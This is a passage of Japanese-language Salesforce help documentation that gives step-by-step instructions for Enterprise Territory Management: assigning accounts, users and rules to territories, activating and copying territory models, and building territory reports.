(一度に 1 つずつ) に手動で割り当てることができます。手動割り当ては、独特な
特徴があるためルールで割り当てることのできない取引先に使用できます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. テリトリーモデル階層から、1 つ以上の取引先を割り当てるテリトリーを開
きます。

2. テリトリーの詳細ページの [手動で割り当てた取引先] 関連リストで [取引先
の追加] をクリックし、組織の取引先リストを表示します。必要に応じてリ
ストビューを調整します。

3. [選択可能] 関連リストで、割り当てる各取引先のチェックボックスをオン
にします。レコードをさらに表示する場合は、リストの下の [さらに表示]を
クリックします。
選択した各取引先が、[選択済み] 関連リストに表示されます。

4. [割り当て] をクリックします。
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テリトリーの取引先割り当てのプレビュー
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーモデルの取引
先割り当てをプレビュー
する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

テリトリーモデルを有効化する前に、テリトリーの取引先割り当てをプレビュー
し、確認する必要があります。モデルが計画状態のときに割り当てルールを実
行して、割り当てをプレビューします。また、手動割り当ても確認します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

重要: データの質を保護するため、ルールが正常に実行されたことを確認
するメールを受信するまではテリトリーを変更できません。ルールが正常
に実行されない場合は、メールの説明に従って特定の問題をトラブルシュー
ティングしてください。

1. プレビューする割り当てられた取引先のテリトリーモデルのレコードを開
き、[階層の表示] をクリックします。

2. モデルが計画状態であることを確認します。
3. [すべてのルールを実行] をクリックします。

ルールの実行が終了したら、メールで通知されます。組織の規模および複雑
性によっては、処理にしばらく時間がかかることがあります。

4. テリトリーモデル階層から、割り当てルールが影響する各テリトリーと子孫
を開きます。また、手動で取引先が割り当てられたテリトリーも開きます。

5. テリトリー詳細ページで、[取引先の参照] をクリックして、割り当てられた
取引先を表示します。[メソッド] 列は各取引先の割り当て方法 (ルールまた
は手動) を示します。

メモ: テリトリーのルールに変更を加える場合、ルールを再度実行して変更内容を確認する必要がありま
す。この場合、該当するテリトリーのみにルールを実行します。これを行うには、テリトリーの詳細ペー
ジに移動し、[このテリトリーに定義された割り当てルール] 関連リストまでスクロールして [ルールの実
行] をクリックします。
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取引先に割り当てられたテリトリー内のユーザの識別
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

取引先に割り当てられた
有効、計画、アーカイブ
済み テリトリーモデルか
らテリトリー内のユーザ
を参照する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

取引先に割り当てられた
有効 テリトリーモデルか
らテリトリー内のユーザ
を参照する
• 「設定・定義を参照す

る」

取引先とユーザはテリトリーに別々に割り当てられますが、取引先がテリトリー
に割り当てられると、テリトリー内のユーザがその取引先にアクセスできます。
取引先レコードを調べれば、テリトリー内のユーザをすぐに確認できます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. テリトリーが割り当てられた取引先レコードを開きます。
2. [割り当て済みテリトリー内のユーザ] 関連リストからユーザを識別します。

メモ: この関連リストの [更新日] 項目には、ユーザのテリトリー関連
付けレコードが最後に変更された日付が示されます。これはユーザがテ
リトリーに割り当てられた日付の場合とそうでない場合があります。

例:  6 人の営業担当者が East Coast (東海岸) テリトリーに割り当てられている
とします。XYZ Publishing も East Coast (東海岸) テリトリーに割り当てられてい
るため、このテリトリー内の 6 人の営業担当者は XYZ Publishing 取引先レコー
ドの [割り当て済みテリトリー内のユーザ] 関連リストに表示されます。
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取引先への 1 つ以上のテリトリーの手動割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

取引先内でテリトリーを
手動で割り当てる
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

取引先に割り当てられた
有効、計画、アーカイブ
済み テリトリーモデルか
らテリトリーを参照する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

取引先に割り当てられた
有効 テリトリーモデルか
ら割り当てられたテリト
リーを参照する
• 「設定・定義を参照す

る」

1 つ以上のテリトリーを、取引先レコードから取引先に直接割り当てます。取引
先に割り当てることができるのは、計画または有効状態のモデルに属すテリト
リーのみです。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. テリトリーを割り当てる取引先を開きます。
2. 取引先の詳細ページの [割り当て済みテリトリー] 関連リストで [テリトリー

の割り当て] をクリックし、組織のテリトリーのリストを表示します。必要
に応じてリストビューを調整します。

3. 関連付けるテリトリーを含むテリトリーモデルを選択します。
4. [選択可能] 関連リストで、割り当てる各テリトリーのチェックボックスを

オンにします。レコードをさらに表示する場合は、リストの下の [さらに表
示] をクリックします。
選択した各テリトリーが、[選択済み] 関連リストに表示されます。

5. [割り当て] をクリックします。
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テリトリーへの 1 つ以上の割り当てルールの手動割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

ルールをテリトリーに割
り当てる
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

1 つ以上のオブジェクト割り当てルールを、テリトリーレコードからテリトリー
に直接割り当てます。使用可能なルールは、テリトリーが属するテリトリーモ
デルから取得されます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

各テリトリーには 15 個までの割り当てルールを指定できます。
1. ルールを割り当てるテリトリーを開きます。
2. テリトリーの詳細ページの [このテリトリーに割り当てられた割り当てルー

ル]関連リストで[ルールの割り当て]をクリックし、モデルで使用できるルー
ルのリストを表示します。

3. [選択可] 関連リストで、使用可能なルールの名前にマウスポインタを置い
て、条件の詳細を表示します。テリトリーに割り当てる各ルールのチェック
ボックスをオンにします。ルールをさらに表示する場合は、リストの下の
[さらに表示] をクリックします。
選択した各ルールが、[選択済み] 関連リストに表示されます。

4. 必要に応じて、選択したルールを子テリトリーに適用します。
5. [割り当て] をクリックします。

商談へのテリトリーの手動割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

商談にテリトリーを手動
で割り当てる
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

商談レコードでは、その商談を担当する営業担当者に割り当てられたテリトリー
を割り当て、追跡することができます。テリトリーの手動割り当ては、商談の
割り当てられた (親) 取引先への共有アクセス権によって制御されます。商談に
テリトリーを割り当てると、テリトリーモデルの階層でそのテリトリーより上
位のテリトリーに割り当てられているすべての Salesforce ユーザにその商談が共
有されます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

商談の取引先への共有アクセス権があるユーザは、有効なモデルの任意のテリ
トリーを商談に割り当てることができます。共有アクセス権がないユーザは、
商談の取引先にも割り当てられているテリトリーのみを割り当てることができ
ます。テリトリーの手動割り当てでは、テリトリーの取引先に商談を割り当て
ることを推奨しますが、共有アクセス権があるユーザは、有効なテリトリーモ
デルの任意のテリトリーを検索し、割り当てることができます。
1. 商談レコードを開きます。
2. [テリトリー] 項目で、割り当てるテリトリーを指定します。
3. 商談レコードを保存します。
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例:  Utel.com という取引先に 6 件の商談があり、East Coast (東海岸) と West Coast (西海岸) という 2 つのテリト
リーがあるとします。この場合、6 件の商談のいずれかまたはすべてに、East Coast (東海岸)、West Coast (西
海岸)、または有効なモデル内の他の任意のテリトリーを割り当てることができます。いずれかの営業担
当には、いずれか 1 件の商談に割り当てられた取引先への共有アクセス権があるため、テリトリーをその
商談に割り当てることができます。他の 5 件の商談については割り当てられた取引先への共有アクセス権
がないため、取引先ごとに、商談の割り当てられた取引先にすでに割り当てられているテリトリーのみ
を割り当てることができます。

商談テリトリー割り当て検索条件の実行

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

商談テリトリー割り当て
検索条件を実行する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

商談テリトリー割り当て検索条件では、Apex クラスの検索条件ロジックに基づ
いてテリトリーが商談に割り当てられます。
1. [設定] から、[クイック検索] ボックスに「テリトリーの管理」と入力し、[設

定] を選択します。
2. 次の設定を確認します。

• 検索条件に基づく商談テリトリー割り当てが有効になっている。
• Apex クラスが指定されている。

3. [設定] から、[クイック検索] ボックスに「テリトリーの管理」と入力し、[テ
リトリーモデル] を選択します。

4. 有効なテリトリーモデルの階層を表示します。
5. [商談検索条件の実行]をクリックしてから、含める商談と日付範囲のオプショ

ンを選択します。
6. 商談検索条件を実行します。

ジョブが完了すると、メールで通知されます。
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テリトリーモデルのコピー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーモデルをコ
ピーする
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

コピー機能では、テリトリーの異なる特性をテストするために使用できる、テ
リトリーモデルのコピーを作成できます。新しいモデルには、元のテリトリー、
割り当てルール、ユーザ、手動で割り当てた取引先が含まれます。コピーでき
るのは 計画中、有効、または アーカイブ済み 状態のモデルのみです。コピーが
完了すると、新しいモデルは 計画中 状態になります。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

コピープロセスが完了すると、作成された新しいテリトリーモデルは計画中状
態になります。
1. コピーするテリトリーモデルを開きます。
2. [コピー] をクリックします。
3. 表示ラベル項目と説明項目を定義します。
4. [保存] をクリックします。

Salesforce で要求が処理されている間、モデルの状態は [コピー中] に変更さ
れます。モデルの規模および複雑性によっては、コピーにしばらく時間がか
かることがあります。プロセス完了時にメールで通知されます。

関連トピック:

エンタープライズテリトリー管理の制限
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テリトリーへのユーザの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

ユーザをテリトリーに割
り当てる
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

商品およびサービスの販売を行うテリトリーにユーザを割り当てます。有効 ま
たは計画中状態のモデルに属するテリトリーにユーザを割り当てることができ
ます。ただし、計画中 状態のモデルで行った割り当ては、計画のみを目的とし
ており、レコードへのユーザアクセスには影響しません。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. テリトリーモデル階層から、ユーザを割り当てるテリトリーを開きます。
2. テリトリーの詳細ページの [割り当てられたユーザ] 関連リストで、[ユーザの

管理] をクリックします。
3. [ユーザの割り当て] ページで、追加するユーザを選択または検索します。
4. [保存] をクリックします。

テリトリーロール別のテリトリーユーザの特定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

テリトリーロールを作成し、必要に応じてテリトリーユーザに割り当てて、テ
リトリー内のユーザの機能を追跡します。ユーザは、異なるテリトリーで異な
るロールを持つことができます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

例: たとえば、テリトリー所有者、営業マネージャ、製品の専門家、営業
担当などのロールを作成します。

テリトリーユーザレコードの選択リストの定義
テリトリーユーザに対してロールを選択できるようにするため、
UserTerritoryAssociation オブジェクトの [テリトリー でのロール] 選択リストに
テリトリーロールを追加します。定義する [テリトリーでのロール] 選択リストは、有効または計画中状態
のすべてのテリトリーに使用できます。
ユーザへのテリトリーロールの割り当て
テリトリー内でユーザのロールを特定するため、テリトリーロールを割り当てます。

関連トピック:

選択リスト値の追加または編集
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テリトリーユーザレコードの選択リストの定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

選択リストを定義する
• 「アプリケーションの

カスタマイズ」

テリトリーユーザに対してロールを選択できるようにするため、
UserTerritoryAssociation オブジェクトの [テリトリー でのロール] 選択リストにテ
リトリーロールを追加します。定義する [テリトリーでのロール] 選択リストは、
有効 または 計画中 状態のすべてのテリトリーに使用できます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. ユーザテリトリーの関連付けのオブジェクト管理設定から、項目領域に移動
します。

2. [テリトリーでのロール] をクリックして、[新規] をクリックします。
3. 必要な選択リスト値を入力し、[保存] をクリックします。

これで、テリトリーの割り当て済みユーザの編集ページで、入力した値を
[テリトリー でのロール] 選択リストから選択できるようになります。

ユーザへのテリトリーロールの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーロールをユー
ザに割り当てる
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

テリトリー内でユーザのロールを特定するため、テリトリーロールを割り当て
ます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. テリトリーのロールの選択リストが作成済みで、ユーザが選択するロールが
いくつか存在することを確認します。

2. テリトリーロールを割り当てるテリトリーのレコードを開きます。
3. [割り当てられたユーザ] リストで、テリトリーロールを割り当てるユーザ名

の横にある [編集] をクリックします。
4. [テリトリー でのロール] 選択リストから、ユーザのテリトリーロールを選

択します。
5. [保存] をクリックします
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テリトリーモデルの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーモデルを有効
化する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

テリトリーモデルの構造およびテリトリー取引先割り当ての設定が終了したら、
次にこれを有効化します。また、さらにモデル化したり、参照したりするため
に、モデルを計画およびアーカイブ済み状態で保持することもできます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

重要: 組織で [有効] 状態にできるモデルは一度に 1 つのみで、有効化でき
るのは [計画] 状態のモデルのみです。モデルを有効化すると、[計画] 状
態に設定を戻すことはできません。[アーカイブ済み] 状態にのみ設定でき
ます。

1. 必要な場合は、モデルを有効化する前に取引先割り当てをプレビューできま
す。

2. 有効化するテリトリーモデルのレコードを開き、[階層の表示] をクリックし
ます。

3. [有効化] をクリックします。
Salesforce で要求が処理されている間、モデルの状態は [有効化中] に変更さ
れます。モデルの規模および複雑性によっては、有効化にしばらく時間がか
かることがあります。プロセス完了時にメールで通知されます。

関連トピック:

テリトリーモデルの状態
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システム管理者とユーザのエンタープライズテリトリー管理での権限およびアクセス設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

ユーザ権限を割り当てる
• 「ユーザの管理」

ページレイアウトを作
成、編集、および削除す
る
• 「アプリケーションの

カスタマイズ」

エンタープライズテリトリー管理の実装における重要なステップは、正しいテ
リトリーモデル要素、レコード、レコード要素に適切なユーザが確実にアクセ
スするということです。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. 権限がエンタープライズテリトリー管理のテリトリーモデルおよびレコード
アクセスにどのように影響するのかを把握します。

2. 必要に応じてユーザ権限を割り当てます。
3. [割り当て済みテリトリー] 関連リストを取引先ページレイアウトに追加しま

す。このリストでは、システム管理者が手動で取引先にテリトリーを割り当
て、ユーザが自分の取引先に割り当てられているテリトリーを確認できま
す。システム管理者およびユーザが参照する必要のある標準項目およびカス
タム項目 (ある場合) を含めます。

4. [割り当て済みテリトリー内のユーザ] 関連リストを取引先ページレイアウト
に追加します。このリストでは、システム管理者およびユーザが付与された
権限に応じて、取引先に割り当てられたテリトリーに割り当てられているす
べてのユーザを表示できます。システム管理者およびユーザが参照する必要
のある標準項目およびカスタム項目 (ある場合) を含めます。

5. 商談ページレイアウトに [テリトリー] 項目を追加します。この項目では、
システム管理者および営業マネージャが、商談の取引先に割り当てられたテ
リトリーのリストから手動で商談にテリトリーを割り当てることができます。[テリトリー名] 項目と [テ
リトリーの説明]項目を [商談] リストビューおよびレポートに追加し、ユーザが割り当てられたテリトリー
をそこで確認できるようにします。

6. 作成したカスタムボタン、リンク、またはアクションをテリトリーページレイアウトに追加します。

関連トピック:

エンタープライズテリトリー管理の機能とデータアクセスに権限が与える影響は?

プロファイル
権限セット
高度なページレイアウトエディタのユーザインターフェース要素
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テリトリーの割り当てルールの実行

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリー内でルールを
実行する
• 「アプリケーションの

カスタマイズ」

および

「テリトリーの管理」

ルールが定義済みで、計画中または有効状態のテリトリーモデルに属するテリ
トリーに取引先割り当てルールを実行します。テリトリーが計画状態の場合は、
ルールを実行すると取引先の割り当てをプレビューできます。テリトリーが有
効状態の場合は、ルールを実行すると、ルールに従って取引先がテリトリーに
割り当てられます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. テリトリーモデルが属するテリトリーモデル階層を開きます。
2. ツリービューまたはリストビューで、ルールを実行するテリトリーを見つけ

ます。
3. リストビューでは、[ルールの実行] をクリックします。ツリービューでは、

テリトリー名にマウスポインタを置いて、[ルールの実行]をクリックします。
割り当てられたルールなどテリトリーレコードの詳細を参照する場合は、
ルールを実行する前に、レコードを開き、[このテリトリーに割り当てられた
割り当てルール] 関連リストの [ルールの実行] ボタンをクリックします。

割り当てルールが適用されるテリトリーの確認

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

割り当てルールの詳細を
参照する
• 「アプリケーションの

カスタマイズ」

および

「テリトリーの管理」

ルールを使用して取引先をテリトリーに割り当てる場合は、単一のルールがど
のテリトリーに適用されるかを確認すると役立つ場合があります。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. [設定] から、[クイック検索] ボックスに「テリトリーモデル」と入力し、[テ
リトリーモデル]を選択して、組織のテリトリーモデルの一覧を参照します。

2. ルールを処理するモデルを見つけたら、[ルールの表示] をクリックして、モ
デルおよびそのテリトリーに関連付けられているすべてのルールの一覧を表
示します。

3. ルール名をクリックして、[割り当て済みテリトリー] 関連リストで適用され
るテリトリーを確認します。
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エンタープライズテリトリー管理レポートのカスタムレポートタイプの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

エンタープライズテリトリー管理を使用している組織は、取引先割り当て、ユー
ザ割り当てなどを示すレポートを実行できます。営業マネージャおよび他のユー
ザが必要なレポートを作成できるように、カスタムレポートタイプを設定しま
す。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. 各カスタムレポートタイプおよびカスタムレポートタイプの作成と管理の一
般的な手順を把握します。

2. これらのオブジェクトに関連するカスタムレポートタイプを作成し、必要に
応じて設定します。すべての項目をレポートで選択可能になるように設定し
ます。各レポートを [テリトリー管理] レポートタイプカテゴリに追加しま
す。レポートを作成するユーザがニーズに合わせてどれを使用すべきかがわ
かるように、各レポートタイプの明確な名前と説明を入力します。

CBA (主オブジェク
ト)

レポート (選択さ
れたレポートのト
ピックはリンクさ
れています)

–テリトリー
[「A」レコードに
は関連する「B」
レコードが必要で

取引先テリトリーに割り
当てられた取引先

す] を選択しま
す。

–テリトリー
[「A」レコードに
は関連する「B」

取引先テリトリーに割り
当てられていない
取引先

レコードの有無は
問いません] を選
択します。

テリトリーが割り
当てられたレコー
ド
[「B」レコードに
は関連する「C」

テリトリーテリトリーモデル取引先が割り当て
られたテリトリー

レコードが必要で
す] を選択しま
す。
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CBA (主オブジェクト)レポート (選択されたレ
ポートのトピックはリン
クされています)

テリトリーが割り当てら
れたレコード
[「B」レコードには関連
する「C」レコードの有無

テリトリーテリトリーモデル取引先が割り当てられて
いないテリトリー

は問いません]を選択しま
す。

–テリトリー
[「A」レコードには関連
する「B」レコードが必要
です] を選択します。

ユーザテリトリーに割り当てら
れたユーザ

–テリトリー
[「A」レコードには関連
する「B」レコードの有無

ユーザテリトリーに割り当てら
れていないユーザ

は問いません]を選択しま
す。

ユーザ
[「B」レコードには関連
する「C」レコードが必要
です] を選択します。

テリトリーテリトリーモデルユーザが割り当てられた
テリトリー

ユーザ
[「B」レコードには関連
する「C」レコードの有無

テリトリーテリトリーモデルユーザが割り当てられて
いないテリトリー

は問いません]を選択しま
す。

–テリトリー
[各「A」レコードには関
連する「B」レコードが 1

取引先テリトリーごとの集計可
能な取引先情報

つ以上必要です]を選択し
ます。

3. ユーザが使用できるようにするレポートタイプをリリースします。
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4. ユーザがこれらのカスタムレポートタイプを使用してレポートを作成できることをユーザに知らせます。

関連トピック:

カスタムレポートタイプの作成

テリトリーに割り当てられた取引先のレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

テリトリーに割り当てられた取引先のレポートを作成することで、営業テリト
リーへの取引先の割り当てを管理します。どの取引先がどのテリトリーに割り
当てられているかを確認します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. 取引先オブジェクトとテリトリーオブジェクトをリンクするカスタムレポー
トタイプが、組織に存在することを確認します。カスタムレポートタイプで
は、関連するテリトリーレコードが取引先オブジェクトに存在する必要があ
ることが指定され、これらのオブジェクトのすべての項目がレポートに使用
できるようになっている必要があります。

2. レポートを作成します。[レポート] タブをクリックし、[新規レポート] をク
リックします。

3. [テリトリー管理] カテゴリで、このレポート用に作成されているカスタムレ
ポートタイプを選択します。

4. [作成] をクリックします。
5. [取引先] 項目の [取引先名]と [テリトリー] 項目の [表示ラベル] がレポート

に表示されることを確認します。表示されない場合は、追加します。
6. (省略可能) レポートの結果を絞り込みます。有効 状態のテリトリーモデルか

らのみデータを表示する場合は、[絞り込み条件]ドロップダウンリストから
[項目の絞り込み] を選択します。「テリトリーモデル: 表示ラベルは <有効
なテリトリーモデルの名前>」が表示されるように検索条件オプションを設定
し、[OK]をクリックします。[表示]項目から取引先の所有権で絞り込むには、
[私の取引先]、[私のチームの取引先]、または [私のテリトリーチームの取引
先]を選択します。ユーザテリトリー割り当てで絞り込むには、[私のテリト
リーの取引先] を選択します。

重要: 異なるテリトリーモデルを後で有効化する場合は、このレポートのテリトリーモデル名の変数
を必ず更新してください。

7. このレポートに便利な他の項目を追加します。
8. レポートを保存して、実行します。
9. (省略可能) 各取引先に割り当てられているテリトリー数を表示するには、[取引先] 項目の [取引先名] で情

報を集計します。
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取引先が割り当てられていないテリトリーのレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

取引先が割り当てられていないテリトリーモデルのテリトリーのレポートを作
成することで、営業テリトリーへの取引先の割り当てを管理します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. テリトリーモデルオブジェクト、テリトリーオブジェクト、テリトリーに割
り当てられたレコードオブジェクトをリンクするカスタムレポートタイプ
が、組織に存在することを確認します。カスタムレポートタイプでは、関連
する割り当てられたテリトリーレコードがテリトリーオブジェクトに存在す
るかしないかが指定され、これらのオブジェクトのすべての項目がレポート
に使用できるようになっている必要があります。

2. レポートを作成します。[レポート] タブをクリックし、[新規レポート] をク
リックします。

3. [テリトリー管理] カテゴリで、このレポート用に作成されているカスタムレ
ポートタイプを選択します。

4. [作成] をクリックします。
5. [テリトリーモデル] 項目の [表示ラベル]と [テリトリー] 項目の [表示ラベル]

がレポートに表示されることを確認します。表示されない場合は、追加しま
す。

6. [条件] ドロップダウンリストから、[クロス条件] を選択します。「テリト
リーが割り当てられたレコードが関連しないテリトリー」が表示されるように
検索条件オプションを設定し、[OK]をクリックします。「オブジェクト 次の
文字列に一致する 取引先」が表示されるように検索条件オプションを設定し
ます。

7. 有効 状態のテリトリーモデルからのみデータを表示する場合は、[条件] ド
ロップダウンリストから [項目の絞り込み]を選択します。「状態が有効」が
表示されるように検索条件オプションを設定し、[OK] をクリックします。

8. このレポートに便利な他の項目を追加します。
9. レポートを保存して、実行します。
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テリトリーに割り当てられていないユーザのレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

テリトリーに割り当てられなかったユーザのレポートを作成することで、営業
テリトリーへのユーザの割り当てを管理します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. ユーザオブジェクトとテリトリーオブジェクトをリンクするカスタムレポー
トタイプが、組織に存在することを確認します。カスタムレポートタイプで
は、関連するテリトリーレコードがユーザオブジェクトに存在するかしない
かが指定され、これらのオブジェクトのすべての項目がレポートに使用でき
るようになっている必要があります。

2. レポートを作成します。[レポート] タブをクリックし、[新規レポート] をク
リックします。

3. [テリトリー管理] カテゴリで、このレポート用に作成されているカスタムレ
ポートタイプを選択します。

4. [作成] をクリックします。
5. [ユーザ] 項目の [氏名] と [テリトリー] 項目の [表示ラベル] がレポートに表

示されることを確認します。表示されない場合は、追加します。
6. [条件] ドロップダウンリストから、[クロス条件] を選択します。「テリト

リーが関連しないユーザ」が表示されるように検索条件オプションを設定し、
[OK] をクリックします。

7. 有効 状態のテリトリーモデルからのみデータを表示する場合は、[条件] ド
ロップダウンリストから [項目の絞り込み]を選択します。「テリトリーモデ
ル: 表示ラベルは <有効なテリトリーモデルの名前>」が表示されるように検
索条件オプションを設定し、[OK] をクリックします。

重要: 異なるテリトリーモデルを後で有効化する場合は、このレポート
のテリトリーモデル名の変数を必ず更新してください。

8. このレポートに便利な他の項目を追加します。
9. レポートを保存して、実行します。
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ユーザが割り当てられたテリトリーのレポート

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

ユーザが割り当てられたテリトリーモデルのテリトリーを見つけることで、営
業テリトリーへのユーザの割り当てを管理します。割り当て済みのどのユーザ
がどのテリトリーに属しているかを確認します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. テリトリーモデルオブジェクト、テリトリーオブジェクト、ユーザオブジェ
クトをリンクするカスタムレポートタイプが、組織に存在することを確認し
ます。カスタムレポートタイプでは、関連するユーザレコードがテリトリー
オブジェクトに存在する必要があることが指定され、これらのオブジェクト
のすべての項目がレポートに使用できるよになっている必要があります。

2. レポートを作成します。[レポート] タブをクリックし、[新規レポート] をク
リックします。

3. [テリトリー管理] カテゴリで、このレポート用に作成されているカスタムレ
ポートタイプを選択します。

4. [作成] をクリックします。
5. [テリトリーモデル] 項目の [表示ラベル]、[テリトリー] 項目の [表示ラベル]、

および [ユーザ] 項目の [氏名] がレポートに表示されることを確認します。
表示されない場合は、追加します。

6. 有効 状態のテリトリーモデルからのみデータを表示する場合は、[条件] ド
ロップダウンリストから [項目の絞り込み]を選択します。「状態が有効」が
表示されるように検索条件オプションを設定し、[OK] をクリックします。

7. このレポートに便利な他の項目を追加します。
8. レポートを保存して、実行します。
9. (省略可能) ユーザが割り当てられた各テリトリーを表示するには、テリトリー

オブジェクト項目の [表示ラベル] で情報を集計します。
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テリトリーで集計可能な取引先のレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

年間売上や従業員数など、集計可能な取引先データのレポートを作成すること
で、テリトリーのサイズを判断します。

